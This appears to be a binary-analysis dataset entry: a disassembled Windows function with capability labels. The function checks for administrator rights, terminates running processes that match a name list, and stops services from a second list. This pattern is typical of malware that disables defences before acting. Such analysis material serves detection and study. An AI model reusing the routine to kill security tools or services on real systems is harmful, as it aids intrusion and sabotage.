Function at 0x40e860
Capabilities:
Enumerate processes
Get token membership
Query service status
Stop service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x45f200]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
mov word [ebp - 0x10], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40e8cd
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x40e8c4
mov dword [ebp - 8], eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 8], 0
jne 0x40e8e3
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004297d1
mov esp, ebp
pop ebp
ret
mov eax, dword [0x462ca8]
mov cl, 1
push ebx
mov ebx, dword [0x462ca4]
mov byte [ebp - 0x265], cl
mov dword [ebp - 8], eax
push esi
push edi
cmp ebx, eax
je 0x40ea00
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [eax + eax]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0xc], esi
cmp esi, 0xffffffff
je 0x40e9d8
lea eax, [ebp - 0x264]
mov dword [ebp - 0x264], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40e9d5
cmp dword [ebx + 0x14], 7
mov eax, ebx
jbe 0x40e952
mov eax, dword [ebx]
lea ecx, [ebp - 0x240]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x40e97e
test dx, dx
je 0x40e97a
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x40e97e
add ecx, 4
add eax, 4
test dx, dx
jne 0x40e958
xor eax, eax
jmp 0x40e983
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40e9bf
push dword [ebp - 0x25c]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40e9b9
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
call edi
test esi, esi
jne 0x40ea32
mov esi, dword [ebp - 0xc]
jmp 0x40e9bf
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x264]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40e948
push esi
call edi
xor dl, dl
movzx eax, byte [ebp - 0x265]
xor ecx, ecx
test dl, dl
cmovne ecx, eax
add ebx, 0x18
mov byte [ebp - 0x265], cl
cmp ebx, dword [ebp - 8]
jne 0x40e910
mov byte [ebp - 0x265], cl
mov eax, dword [0x462cb4]
mov edi, dword [0x462cb0]
mov dword [ebp - 8], eax
cmp edi, eax
je 0x40eaf9
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x40ea3b
xor dl, dl
jmp 0x40ead9
push dword [ebp - 0xc]
call edi
mov dl, 1
jmp 0x40e9da
cmp dword [edi + 0x14], 7
mov eax, edi
jbe 0x40ea45
mov eax, dword [edi]
push 0x24
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x40ea60
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor dl, dl
jmp 0x40ead9
lea eax, [ebp - 0xc]
push eax
push 0x24
lea eax, [ebp - 0x38]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40eac6
mov eax, dword [ebp - 0x34]
cmp eax, 1
je 0x40eac6
cmp eax, 3
je 0x40eac6
lea eax, [ebp - 0x38]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40eac6
cmp dword [ebp - 0x34], 1
je 0x40eac6
nop dword [eax + eax]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xc]
push eax
push 0x24
lea eax, [ebp - 0x38]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40eac6
cmp dword [ebp - 0x34], 1
jne 0x40eaa0
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
cmp dword [ebp - 0x34], 1
sete dl
movzx eax, byte [ebp - 0x265]
xor ecx, ecx
test dl, dl
cmovne ecx, eax
add edi, 0x18
mov byte [ebp - 0x265], cl
cmp edi, dword [ebp - 8]
jne 0x40ea16
mov al, cl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004297d1
mov esp, ebp
pop ebp
ret